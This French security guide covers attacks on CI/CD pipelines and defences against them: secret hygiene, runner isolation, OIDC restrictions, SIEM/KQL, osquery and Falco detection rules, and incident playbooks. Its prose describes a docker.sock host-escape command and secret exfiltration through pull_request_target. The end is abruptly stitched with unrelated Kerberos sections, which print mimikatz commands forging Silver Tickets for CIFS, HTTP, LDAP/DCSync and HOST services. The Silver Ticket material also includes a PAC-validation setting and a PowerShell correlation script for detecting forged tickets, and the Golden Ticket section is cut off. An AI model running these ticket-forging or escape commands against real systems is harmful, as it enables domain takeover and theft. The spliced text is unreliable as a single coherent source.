Attaques sur CI/CD (GitHub - Guide Pratique Cybersecurite

Cette analyse detaillee de Attaques sur CI/CD (GitHub - Guide Pratique Cybersecurite s'appuie sur les retours d'experience d'equipes de securite confrontees quotidiennement aux menaces actuelles. Les methodologies presentees couvrent l'ensemble du cycle de vie de la securite, de la detection initiale a la remediation complete, en passant par l'investigation forensique et le durcissement des configurations. Les recommandations sont directement applicables dans les environnements de production et tiennent compte des contraintes operationnelles rencontrees par les equipes techniques sur le terrain. Les outils et techniques presentes ont ete valides dans des contextes reels d'incidents et de tests d'intrusion. La mise en oeuvre d'une strategie de defense en profondeur reste essentielle face a l'evolution constante du paysage des menaces, en combinant prevention, detection et capacite de reponse rapide aux incidents de securite.

Cette analyse technique de Attaques sur CI/CD (GitHub - Guide Pratique Cybersecurite s'appuie sur les retours d'experience d'equipes confrontees quotidiennement aux defis operationnels du domaine. Les methodologies presentees couvrent l'ensemble du cycle de vie, de la conception initiale au deploiement en production, en passant par les phases de test et de validation. Les recommandations sont directement applicables dans les environnements professionnels.

Résumé exécutif

Les pipelines CI/CD sont devenus la colonne vertébrale des livraisons logicielles. GitHub Actions, GitLab CI, Azure DevOps Pipelines et des solutions auto-hébergées orchestrent des exécutions automatisées : builds, tests, déploiements. Cette surface attire les attaquants, qui cherchent à exfiltrer des secrets, modifier du code, injecter des backdoors ou pivoter vers des environnements de production. Les attaques récentes démontrent la variété des vecteurs : pull requests malveillantes, compromission de runners, packages piégés, jetons OIDC, self-hosted runners exposés. Cet article fournit une analyse en profondeur des risques CI/CD, des stratégies de durcissement (hygiène des secrets, politiques), des mécanismes de détection des exécutions suspectes et des playbooks de réponse. L'objectif est d'offrir une feuille de route complète pour sécuriser les pipelines tout en préservant l'agilité DevOps.

Cartographie des composants CI/CD

Un pipeline CI/CD comprend plusieurs éléments :

• Dépôts (GitHub, GitLab, Bitbucket) : code, workflows.
• Pipelines : fichiers YAML (GitHub Actions workflow, GitLab .gitlab-ci.yml).
• Runners : machines exécutant les jobs (hosted ou self-hosted).
• Secrets : tokens, clés, variables (GitHub Secrets, GitLab Variables).
• Artefacts : images, binaires, packages.
• Intégrations : webhooks, OIDC, cloud accounts.

Les surfaces d’attaque touchent chacun de ces composants. Les attaques peuvent être chainées : compromission de runner -> vol de secrets -> modification de workflow -> persistance.

Combien de vos contrôles de sécurité ont été testés en conditions réelles cette année ?

Scénarios d'attaque récurrents

1. Pull request malveillante : un attaquant soumet un PR avec un workflow manipulé ; si les actions s’exécutent sur forks avec secrets, elles sont exfiltrées. 2. Compromission de runner : un runner self-hosted vulnérable (OS obsolète, Docker socket exposé) permet un pivot. 3. Secrets exposés : secrets loggés ou accessibles depuis des PR non fiables. 4. Packages tiers compromis : réutilisation d’actions, de scripts, de modules non vérifiés. 5. OIDC : abus du token OIDC pour assumer des rôles cloud (AWS, GCP) avec politique mal configurée. 6. Webhooks : manipulation des webhooks pour déclencher des builds avec modifications malveillantes.

GitHub Actions : spécificités de sécurité

Gestion des permissions

Les workflows GitHub Actions s’exécutent avec un GITHUBTOKEN par défaut (permissions read/write selon configuration). Par défaut, GITHUBTOKEN a l'accès write aux dépôts. Les organisations doivent restreindre via permissions :

permissions:
  contents: read
  pull-requests: write

Pour les workflows sensibles (production), on désactive l'accès par défaut et utilise des PAT/SSH contrôlés. On configure Dependabot alerts pour surveiller les actions vulnérables.

Runners hébergés vs self-hosted

Les runners GitHub hébergés sont éphémères, réduisant la persistance. Les self-hosted doivent être isolés :

• OS minimal, patché.
• Exécution dans un réseau restreint, sans accès Internet direct.
• Pas de Docker daemon exposé (/var/run/docker.sock).
• Reset complet entre builds (clean-up, snapshot).

Les logs Actions doivent être collectés, ainsi que les Runner logs. Les événements Workflow run sont monitorés via GitHub API.

Forks et contributions externes

Les workflows déclenchés via PR provenant de forks ne reçoivent pas les secrets. Toutefois, certains workflows utilisent pullrequesttarget (exécute dans le contexte du repo cible), exposant des secrets. Les organisations doivent :

• Éviter pullrequesttarget sauf si strictement contrôlé.
• Revue manuelle des PR avant exécution.
• Utiliser des environnements (Environments) avec required reviewers pour secrets critiques.

Reuse d'actions

Les actions GitHub (marketplace) peuvent être modifiées. Il faut :

• Pinning sur SHA (uses: actions/checkout@).
• Auditer les actions third-party (code review, repo trust), utiliser actions/checkout@v4 signature.
• Héberger des actions internes (private repo) pour éviter dépendance externe.

GitLab CI : éléments spécifiques

GitLab propose :

• Variables (Masked, Protected).
• Runners shared, group, project.
• Environnements, approvals.

Les risques :

• Runners partagés multi-tenants (dépend de GitLab SaaS).
• Jobs non protégés exécutant sur Protected branches.
• Variables non masquées dans logs.

Les bonnes pratiques :

• Utiliser protected runners pour les branches protégées.
• Activer Allow only protected branches to use certain runners.
• Restriction des Trigger tokens et Pipeline schedules.
• Pinning des include (templates CI).

Votre processus de patch management couvre-t-il l'ensemble de votre parc applicatif ?

Azure DevOps, Jenkins et autres

Azure DevOps

• Self-hosted agents : isoler, patcher.
• Libraries secure (Variable groups, Key Vault).
• Limitations Service connections (Azure, AWS).

Jenkins

• Agents (Jenkins nodes) : isolés, auto-supprimés.
• Credentials binding, secrets rotated.
• Plugins : revue, signature.

Les principes restent similaires : isolation, least privilege, logs.

Hygiène des secrets

Stockage

• Utiliser les stores natifs (GitHub Secrets, GitLab Variables).
• Intégrer des vaults (HashiCorp Vault, AWS Secrets Manager) via OIDC.
• Éviter les secrets en clair dans YAML.

Rotation

• Automatiser via pipelines (GitHub actions + Vault rotation).
• Utiliser des secrets éphémères (SOPS, sealed secrets).

Scope

• Scoper le secret à l’environnement (dev/test/prod).
• Utiliser environment protection (approvals).

Protection logs

• Secrets masked (***). Les actions doivent éviter de logguer env vars (set -x interdit).
• On audite les logs pour fuites (regex). Des outils (GitGuardian CI) scannent.

OIDC et fédération cloud

GitHub, GitLab offrent OIDC pour assumer des rôles AWS/GCP/Azure. Risques :

• Policies IAM permissives (audience non restreint, sub wildcard).

Mitigations :

• IAM Condition StringEquals sur token.actions.githubusercontent.com:sub (repo, workflow, ref).
• Durée de session réduite (900s).
• Logging CloudTrail des AssumeRoleWithWebIdentity.

La détection : alertes sur AssumeRole depuis GitHub, comparaison avec prévision. Des scripts Validate token vérifient le aud, sub.

Détection des exécutions suspectes

Logs et observabilité

• GitHub : audit log, Actions logs, Workflow run events.
• GitLab : audit events, job logs.
• Jenkins : Build history, Audit Trail plugin.

Les logs sont exportés vers SIEM. On surveille :

• Exécutions hors horaires (nuit).
• Workflows déclenchés manuellement (workflowdispatch) par comptes non autorisés.
• Jobs échoués multiples sur secrets.
• Modifications de workflows (commits YAML) non revues.

Détection behaviorale

• Rareté : repo rarement modifié, workflow déclenché.
• Parent commit : job sur commit non merge sur branch.

Les signaux (Account, IP, geoloc) sont corrélés (UEBA). On intègre Slack/Teams (notifications).

Règles SIEM

GitHubAuditLogs
| where Action == "repo.workflow.run"
| where Actor !in ("service accounts autorisés")
| summarize count() by Actor, Repo, bin(TimeGenerated, 1h)

GitLab (logs JSON) :

index=gitlab sourcetype=gitlab:api event.type="job" status="running" user.name!=allowed

Politiques de sécurité (policy-as-code)

Les organisations adoptent des politiques :

• branch protection (PR review, status checks).
• CODEOWNERS pour workflows.
• Require approvals sur environments (GitHub environments, GitLab approvals).

Les outils Open Policy Agent (OPA) intégrés à CI valident les pipelines :

• Vérifier que permissions est défini.
• Interdire pullrequesttarget sans exception.
• Vérifier actions pinned sur commit.

Les politiques sont versionnées, testées (policy-as-code). Des outils (Checkov, TFLint) valident l'infrastructure associée.

Runners : durcissement et isolation

• Déployer les self-hosted runners sur des VMs jetables (imaged via Packer).
• Isolation réseau (VPC, Security groups). Limiter l'accès aux ressources internes.
• Utiliser kubernetes runners (GitLab Kubernetes Executor, GitHub self-hosted Kubernetes) pour pods éphémères.
• Nettoyage : supprimer les artefacts, Users, packages à la fin (post job).
• Monitoring : collecter syslog, auditd, osquery.

Les runners ne doivent pas conserver d'identifiants. L'utilisation de root est limitée. Les pipelines Docker ne partagent pas le daemon (use remote docker buildx).

Supply chain : actions et dépendances

• Scanner les actions : actions-glob, npm audit sur action.yml (JS actions).
• Héberger un registre interne (GitHub Enterprise).
• Vérifier les version updates (Dependabot pour actions).

Pour GitLab, les includes (CI templates) doivent être signés. On utilise Checksum pour valider. Les pipelines importent des scripts (curl) -> must verify signature/hashes.

Cas de compromission

CodeCov (2021)

Attaque via script bash (upload) modifié. La collecte de secrets d'environnement (CI). Réaction : rotation des secrets, audit pipeline. Lessons : vérifier les scripts third-party, signature, monitoring.

SolarWinds build server

Compromission de build pipeline, injection de backdoor. Nécessité : segmentation, journaux, validation builds. Pour approfondir, consultez Pentest Wi-Fi 7 : Nouvelles Surfaces d'Attaque.

GitHub Actions PR abuse

Des chercheurs ont démontré l'extraction de secrets via pullrequesttarget. GitHub a mis à jour guidelines. Les organisations ont revu leurs workflows.

Détection d'exfiltration de secrets

• Surveiller les logs pour echo $SECRET (exclure).
• Outils comme Trufflehog CI scannent les logs.
• Flow logs (VPC) de runners identifient transfert vers IP ext.

Les secrets egress (S3, HTTP) sont bloqués (firewall). Les proxies limitent les destinations (allowlist). Les jobs n'ont pas accès direct internet (ex : NoOutbound policy).

Hardening du code pipeline

• Limiter les shell: bash à des scripts versionnés (pas inline).
• Utiliser des conteneurs base minimal (distroless).
• Eviter curl | bash sans signature.

Les pipelines incluent linting (Yamllint), test (act pour GitHub). Les devs subissent revue code pipeline (CODEOWNERS). Les secrets ne doivent pas être dans with (inputs).

Observabilité des artefacts

• Scanner images (Trivy, Aqua).
• Signer artefacts (Cosign, Notary).
• Stocker dans registry avec policies (immutabilité).

Les pipelines valident les signatures à déploiement. L'intégrité du pipeline se prolonge au runtime (chaîne supply chain).

Détection par des solutions spécialisées

• GitGuardian CI Monitor : detection secrets, anomalies.
• Praetorian Purple Team assessments.
• Wiz/Orca fournissent posture pour pipelines, scanning Terraform.

Les solutions CNAPP intègrent la posture CI/CD. Elles avertissent sur broad repo permissions, runner exposure. On les connecte via API.

Monitoring GitHub audit log

GitHub Enterprise fournit un audit log :

• action=org.updatemember.
• repo.secret.create, repo.secret.update.
• repo.actions.workflow.disabled.

Logs ingérés via API (GraphQL auditLog). KQL :

GitHubAuditLogs
| where Action in ("secret.create", "secret.update")
| summarize count() by Actor, Repo, bin(TimeGenerated, 1h)
| where count > 3

Alerte sur supressions (workflow disabled). Détection Branch protection removed.

GitLab audit

GitLab AuditEvents :

• keycreated, variablecreated, userimpersonated.
• protectedbranchupdated.

Logs envoyés (Webhooks). Splunk :

index=gitlab eventsubtype="variablecreated" 
| stats count by user.username, project.pathwithnamespace

Alertes sur Runner registered sans justif.

Rôles et IAM

• GitHub : restreindre Admin repo, utiliser Teams, SAML SSO, SCIM.
• GitLab : Maintainer vs Developer. Protéger Owner.

MFA obligatoire (SAML/SSO). Les comptes de service ont secrets minimes, rotation. Les sessions (PAT) expirer. On évite l'utilisation des PAT pour automation (préférer GITHUBTOKEN). Les PAT sont audités (script API).

Réponse à incident CI/CD

1. Isoler runners (shutdown). 2. Révoquer tokens (GITHUBTOKEN, PAT, cloud credentials). 3. Suspendre workflows (disable repo actions). 4. Analyser logs (jobs, commits, secrets exfil). 5. Restaurer depuis known good (workflow, code). 6. Communiquer (dev teams, management).

Les playbooks incluent un plan pour rotation secrets, invalidation caches (npm, pip). On exécute des hunts sur push malveillants. Les rapports d'incident incluent timeline (compromission -> exfil).

Chasse proactive

• Jobs exécutés via workflowdispatch par comptes anormaux.
• Runner registrations (GET /actions/runners) -> delta.
• Secrets modifiés (Graph API) -> check commit.
• OIDC assumption logs -> anomalies.

Scripts automatisés (cron) gèrent. Résultats revus par SecOps. On combine avec TI (domaines C2).

Tests et Purple Team

Exercices :

• Simuler PR malveillant : detection ?
• Compromettre runner test -> pivot.
• Abus OIDC -> assume role.

Les résultats alimentent les politiques. Les red teams utilisent Actions Runner Controller pour test. On instrumente des environnements isolés.

Gouvernance et politique DevSecOps

• Policy : No secrets in repo, Review required for workflow changes.
• Checklists (Onboarding repo) : branch protection, CODEOWNERS, secrets, scanning.
• Training Dev (CI/CD security).

Les conseils : patterns secure (templates). On crée un centre d'excellence CI/CD.

Roadmap de maturité

1. Phase 1 : Branch protection, secrets hygiène, audit logs. 2. Phase 2 : OIDC restrictions, runner isolation, scanning actions. 3. Phase 3 : SIEM, ML anomalies, SOAR, purple team. 4. Phase 4 : Attestation supply chain (SLSA), inference (Sigstore), self-service security guardrails.

Chaque phase a des objectifs (ex : 100% workflows pinned).

Bibliographie

• GitHub Security Hardening Actions.
• GitLab CI/CD Security Guide.
• CNCF Supply Chain Best Practices.
• SLSA (Supply-chain Levels for Software Artifacts).
• OWASP Top 10 CI/CD Security Risks.

Conclusion

La sécurisation des pipelines CI/CD (GitHub Actions, GitLab, runners) repose sur une approche multi-niveaux : hygiène rigoureuse des secrets, politiques strictes, isolation des runners, détection d'exécutions suspectes et réponse coordonnée. Les attaquants ciblent ces environnements pour la richesse des privilèges et des secrets. En intégrant des contrôles techniques (permissions, OIDC, AppLocker), des détections (SIEM, UEBA), des politiques (policy-as-code) et une collaboration DevSecOps, les organisations peuvent sécuriser leurs pipelines tout en conservant l'agilité indispensable à la delivery.

Étude détaillée : GitHub Actions compromis via forks

En 2022, des chercheurs ont démontré une méthode d'exfiltration de secrets :

1. Créer un fork du dépôt ciblé. 2. Modifier un workflow pullrequesttarget pour exécuter un script. 3. Soumettre un PR ; le workflow s'exécute dans le contexte du dépôt parent, avec secrets. 4. Le script exfiltre AWSACCESSKEY via curl.

Mitigation : remplacer pullrequesttarget par pullrequest, éviter d'accorder secrets aux PR externes. Utiliser secrets: inherit uniquement pour repos internes. Les organisations ont mis en place des revues CODEOWNERS sur .github/workflows. La détection : GitHub Audit log action=repo.workflow.run + Workflow name=Pull Request. Les SIEM alertent quand le workflow exécute un curl vers IP externe.

Gestion des environnements et approvals

Les Environments GitHub (prod, staging) permettent : Pour approfondir, consultez Malware Analysis : Sandbox Evasion Techniques.

• Secrets par environnement.
• Protection (reviewers, wait timer).
• deployment branches restrictions.

Les workflows doivent recourir aux environments pour les déploiements. Les reviewers (SecOps) valident. GitLab Environments + Manual job + Approvals. Azure DevOps Environment approvals. Ces mécanismes empêchent les déploiements automatiques depuis PR non validés. Les logs d'approbation sont audités (timestamp, approver).

Multi-tenant et isolation organisationnelle

Les entreprises multi-équipes :

• Niveaux d'organisation (GitHub Orgs).
• Enterprise Managed Users (GitHub) pour SSO imposé.
• Group GitLab, Subgroups pour segmentation.

Les droits sont gérés via Teams (GitHub) ou Group Members (GitLab). Principes : pas de Owner multiples, comptes de service séparés, SSO SAML. Les logs SAML (Azure AD) surveillent les accès. On applique IP allow list (GitHub Enterprise). Les organisations isolent les pipelines production dans une org distincte (limite l'effet d'une compromission).

Détection d'exécutions suspectes sur runners

Les logs de runners (self-hosted) sont centralisés (Elastic, Splunk). On surveille :

• Processus inattendus (nc, curl vers IP non internes).
• Accès root (sudo).
• Création de fichiers dans /tmp (reverse shell).

Osquery queries :

SELECT * FROM processes WHERE parent = (SELECT pid FROM processes WHERE name='runsvc.sh') AND name NOT IN ('bash','sh','python','node');

Falco règle :

- rule: Suspicious Runner Outbound
  condition: container.name startswith ci-runner and fd.sip not in (runnerallowlist)

Les alertes alimentent SIEM/Slack. Les runbooks isolent le runner (shutdown VM).

Secrets scanning et politique

Les outils de scanning :

• GitHub Secret Scanning (code, dépendances).
• GitLab Secret Detection.
• Trufflehog, Gitleaks.

On intègre le scanning dans CI : job secrets-scan. Politique : PR ne merge pas si secret détecté. Les secrets trouvés sont révoqués automatiquement (hooks). Les organisations mettent en place des pre-commit hooks. On stocke les incidents (table) pour analyse.

Gestion des artefacts : intégrité et provenance

Les artefacts (packages, conteneurs) peuvent être modifiés. Mesures :

• Stockage immuable (S3 versioning, GitLab Package Registry).
• Signature (Cosign) + attestation provenance (SLSA attestation).
• Registry access control (least privilege).
• Scanning (Anchore, Prisma).

Les pipelines vérifient les signatures avant déploiement (cosign verify). Les exécutions suspectes (non signées) sont bloquées. Les logs (Harbor, ECR) surveillent PUT par comptes non autorisés.

Observabilité pipeline via data lake

Les organisations collectent :

• Logs pipeline (job id, durée, agent, commit, user).
• Logs Git (push, PR).

Écriture dans un data lake (Kusto, BigQuery). Des dashboards Power BI montrent :

• Volume jobs par heure.
• Jobs manuels vs auto.
• Runners utilisés.

Les anomalies (job en pleine nuit par un compte non IT) ressortent. Les modèles ML (Isolation Forest) calculent un score par job (rarety). Les jobs > percentile 99 sont revus.

Cas d'attaque : runner conteneur

Un self-hosted runner docker expose /var/run/docker.sock. L'attaquant, via un job, exécute docker run -v /:/host ubuntu chroot /host. Il accède à l'hôte, récupère secrets, pivote vers réseau interne. Mitigation :

• Ne pas monter le socket.
• Utiliser Docker-in-Docker isolé (dind rootless).
• Exécuter le runner dans VM isolée.

Détection : osquery (process docker run), logs auditd sur open /var/run/docker.sock. Refactor pipeline pour buildkit + remote.

Politique de nettoyage (cleanup)

Les jobs doivent exécuter des hooks post :

• git clean -fdx.
• Suppression ~/.aws, ~/.docker.

Des scripts garantissent que GITHUBWORKSPACE est pur. Les runners se détruisent après job. Si persistent (GitLab), executor shell doit être restreint. On surveille la taille du disque (residu = suspect).

Gestion des credentials clonés

Le GITHUBTOKEN ne doit pas être utilisé en dehors du job. On évite de stocker PAT dans caches. Les caches (actions/cache) peuvent rester. On configure cache avec key unique par job, purgé. Les caches contenant secrets sont supprimés (API). On interdit persist-credentials: true (checkout) si non nécessaire. GitLab : GITSTRATEGY=clone vs fetch. On vidange .git après usage.

Notification et communication DevOps

Les notifications (Slack/Teams) :

• Nouveau runner enregistré.
• Workflow modifié.
• Job manuel déclenché.

Les bots (GitHub Apps) publient. Les DevOps valident. Les messages contiennent un lien vers logs, diff. Les canaux (SecOps + DevOps) permettent action rapide. On inclut security champions.

Gestion des dépendances pipeline

Les pipelines utilisent des packages (npm, pip) pour exécuter scripts. Risques : supply chain (typosquatting). Mesures :

• Registry interne (npm config set registry).
• Signature (npm --otp).
• Lockfiles, npm audit.

Des outils (Dependabot) gèrent updates. Les updates sont review (CI). On vérifie les scripts postinstall. Les politiques restreignent npm install depuis Internet pour jobs production.

Logs Git : détection modifications workflows

On surveille commits modifiant .github/workflows/ :

GitEvents
| where FilePath endswith ".yml" and FilePath contains ".github/workflows"
| summarize count() by Author, Repo, bin(TimeGenerated, 1d)

Alerter sur modifications par comptes non CODEOWNERS. GitLab : Push hook -> analyser modifiedpaths. Les revues refusent si pipeline modifié sans story sécurité.

Sécurité des tokens machine et service

Les pipelines utilisent des tokens (bots). On : Pour approfondir, consultez Terraform Security : Audit et Durcissement IaC.

• Crée des comptes service (SAML SSO, MFA).
• Limite scopes (GitHub PAT : repo:status, repo:contents).
• Rotation (auto).

Les logs surveillent PAT creation. GitHub Fine-grained PAT pour control. GitLab : Personal Access Tokens limités, expiry. Les tokens non utilisés 30j supprimés (script).

Exécution sur infrastructure cloud

Les runners sur cloud (AWS EC2) :

• IAM role minimal (log push).
• VPC isolé (private subnets).
• Flow logs, GuardDuty.
• CloudWatch metrics (job CPU).

Détection : GuardDuty CredentialAccess:EC2/MetaDataCredentials -> suspicion. On applique IMDSv2, Instance metadata hop limit. Les enregistrements AssumeRole sur pipeline surveillés.

Compliance et audit

Les normes (SOC2, ISO) exigent :

• Contrôle des changements (workflow review).
• Segregation of duties.
• Logs immuables (WORM).

La documentation (Confluence) décrivant les contrôles. Les audits s'appuient sur logs (GitHub Audit, GitLab). Les policies sont inscrites. On fournit l'historique (ex : branch protection evidence).

Processus de gestion des incidents secrets

Lorsqu'un secret est exposé :

• Alert automatique (GitHub secret scanning).
• Rotation (script).
• Communication (owner).

Ex : clé AWS -> aws iam update-access-key --status Inactive. Les scripts (Lambda) automatisent. On vérifie logs CloudTrail (utilisation). On ajoute l'incident au register.

Monitoring SLSA et provenance

SLSA (Supply chain levels) :

• SLSA L1 : script build.
• SLSA L2 : build service centralisé.
• SLSA L3 : provenance signée.
• SLSA L4 : isolation + hermetic builds.

Les organisations adoptent SLSA L3 (GitHub + actions/attest). Les attestions (in-toto) sont stockées (Rekor). Les déploiements requièrent une attestation valide. Les pipelines builder sont isolés.

Observabilité via OpenTelemetry

OpenTelemetry collecte des traces build :

• Span checkout, build, deploy.

Les traces identifient des latences, anomalies. Les dashboards (Jaeger) montrent l'exécution. En cas de compromise, on suit les spans (ex : step addition). Les logs contextualisés (metadata runner, commit).

Programmes de bug bounty CI/CD

Les entreprises incluent la CI/CD dans le scope bug bounty. Les chercheurs testent :

• Exfiltration par workflow.
• RCE sur runner.

Les findings mènent à des correctifs (p.ex : GitHub Workflow approval for first-time contributors). On gère via plateforme (HackerOne). Les lessons partagées.

Contrôles physiques et hardware

Pour runners on-prem :

• Contrôle d'accès (badge, CCTV).
• Serveurs dans racks sécurisés.

Un attaquant physique pourrait compromettre runner -> pipeline. On intègre BCP/DR (runner backup). Les images (Packer) stockées off site.

Pipeline as Code Reviews

Les pipelines sont traités comme du code :

• Repos ci-templates.
• Tests (lint).

Les modifications passent par PR -> review -> tests. Les devs consomment via include. Cela assure une standardisation et un contrôle. Les security champions review.

Scorecards et métriques de sécurité CI/CD

Le projet OpenSSF Scorecard évalue : branch protection, ci-tests, dependencies. Les entreprises calculent un score interne :

• % workflows pinned.
• % repos avec CODEOWNERS.
• Nombre de secrets rotation < 90j.

Les dashboards (Power BI) montrent la progression. Les objectifs : 100% pinned, 0 secrets logs.

Stratégie de segmentation multi-environnement

• Repos dev/test vs prod.
• Runners distincts (subnet).
• Credentials différents (least privilege).

Les déploiements prod passent par pipeline diff (gated). Les dev n'ont pas accès secrets prod. On utilise feature flags pour isoler.

Intégration avec PAM et JIT

Les pipelines peuvent déclencher des accès temporaires :

• Intégration PAM (CyberArk) pour obtenir creds temps.

Les jobs demandent token -> PAM approuve -> expire. Réduit l'exposition. Les logs PAM assurent la trace.

Table des hunts CI/CD

• H1 : Jobs workflowdispatch > 5 la nuit -> investigate.
• H2 : Runner add event sans ticket.
• H3 : Secrets updated > 10/jour par user.
• H4 : OIDC usage from new repo.
• H5 : Jobs fails retrieving dependencies -> possible MITM.

Chaque hunt documenté, automatisé (Sentinel workbook). Résultats review.

FAQ technique

Checklist finale

1. Branch protection, CODEOWNERS pour workflows, review obligatoire. 2. PIN des actions, dependencies verifiées, templating. 3. Secrets : store sécurisé, rotation, masquage, scope. 4. Runners : isolation, ephemeral, monitoring, cleanup. 5. OIDC : conditions strictes, logs, guardrails IAM. 6. Logs : ingestion audit (GitHub/GitLab), SIEM, alertes. 7. Détection : anomalies jobs, consentement manual, exfil. 8. Response : playbooks, rotation auto, communication. 9. Roadmap : SLSA, cosign, scoring, bug bounty. 10. Gouvernance : DevSecOps, training, compliance, documentation.

La mise en œuvre de cette checklist réduit considérablement la surface d'attaque des pipelines CI/CD et permet de détecter rapidement toute exécution suspecte.

Perspectives futures

Les plateformes CI/CD évoluent vers davantage d'attestation, d'isolation et de gouvernance. GitHub introduit Actions OIDC audiences multiples, id-token conditionnel ; GitLab développe Pipeline provenance et Vault integration. Les tendances : Pour approfondir, consultez GCP Offensive Security : Exploitation des Services Google.

• Adoption de buildkit hermétiques, exécution dans des environnements enclavés (gVisor, Firecracker).
• Intégration des pipelines dans des plateformes sécurisées (Google Cloud Build, AWS CodeBuild) avec isolation gérée.
• Standards SLSA et NIST SSDF devenant requis contractuellement.
• Utilisation de l'IA pour détecter des anomalies pipeline en temps réel.

Les organisations doivent rester vigilantes, adopter ces innovations et maintenir une boucle d'amélioration continue afin de conserver la confiance dans leur chaîne de livraison logicielle.

Note finale

La réussite des programmes CI/CD sécurisés repose sur la collaboration continue entre développeurs, SRE et équipes sécurité. En investissant dans la visibilité, l'automatisation et la culture DevSecOps, les entreprises transforment la sécurité en accélérateur de delivery plutôt qu'en frein.

Continuer à tester régulièrement les pipelines contre des scénarios adverses garantit que ces contrôles restent efficaces face aux TTP émergentes. Cette vigilance continue reste indispensable.

6. Silver Ticket : falsification de tickets de service

6.1 Principe et mécanisme

Un Silver Ticket est un ticket de service forgé sans interaction avec le KDC. Si un attaquant obtient le hash NTLM (ou la clé AES) d'un compte de service, il peut créer des tickets de service valides pour ce service sans que le DC ne soit contacté. Le ticket forgé contient un PAC (Privilege Attribute Certificate) arbitraire, permettant à l'attaquant de s'octroyer n'importe quels privilèges pour le service ciblé.

Contrairement au Golden Ticket qui forge un TGT, le Silver Ticket forge directement un Service Ticket, ce qui le rend plus discret car il ne génère pas d'événement 4768 (demande de TGT) ni 4769 (demande de ST) sur le DC.

6.2 Création et injection de Silver Tickets

# Création d'un Silver Ticket pour le service CIFS
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server01.domain.local /service:cifs /rc4:serviceaccounthash /ptt

# Silver Ticket pour service HTTP (accès web avec IIS/NTLM)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:webapp.domain.local /service:http /aes256:serviceaes256key /ptt

# Silver Ticket pour LDAP (accès DC pour DCSync)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:dc01.domain.local /service:ldap /rc4:dccomputerhash /ptt

# Silver Ticket pour HOST (WMI/PSRemoting)
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... \
    /target:server02.domain.local /service:host /rc4:computerhash /ptt

6.3 Cas d'usage spécifiques par service

6.4 Détection des Silver Tickets

# Activer la validation PAC stricte (GPO)
Computer Configuration > Policies > Windows Settings > Security Settings > 
Local Policies > Security Options > 
"Network security: PAC validation" = Enabled

# Script PowerShell pour corréler accès et tickets KDC
$timeframe = (Get-Date).AddHours(-1)
$kdcEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4768,4769;StartTime=$timeframe}
$accessEvents = Get-WinEvent -FilterHashtable @{LogName='Security';ID=4624;StartTime=$timeframe} | 
    Where-Object {$_.Properties[8].Value -eq 3} # Logon type 3 (network)

# Identifier les accès sans ticket KDC correspondant
$accessEvents | ForEach-Object {
    $accessTime = $_.TimeCreated
    $user = $_.Properties[5].Value
    $matchingKDC = $kdcEvents | Where-Object {
        $_.Properties[0].Value -eq $user -and 
        [Math]::Abs(($_.TimeCreated - $accessTime).TotalSeconds) -lt 30
    }
    if (-not $matchingKDC) {
        Write-Warning "Accès suspect sans ticket KDC: $user à $accessTime"
    }
}

7. Golden Ticket : compromission totale du domaine

7.1 Principe et impact

Le Golden Ticket représente l'apex de la compromission Kerberos. En obtenant le hash du compte krbtgt (le compte de service utilisé par le KDC pour signer tous les TGT), un attaquant peut forger des TGT arbitraires pour n'importe quel utilisateur, y compris des comptes inexistants, avec des privilèges et une durée de validité de son choix (jusqu'à 10 ans).

Un Golden Ticket offre une persistance exceptionnelle : même après la réinitialisation de tous les mots de passe du domaine, l'attaquant conserve son accès tant que le compte krbtgt n'est pas réinitialisé (opération délicate nécessitant deux réinitialisations espacées).

Copyright Ayi NEDJIMI Consultants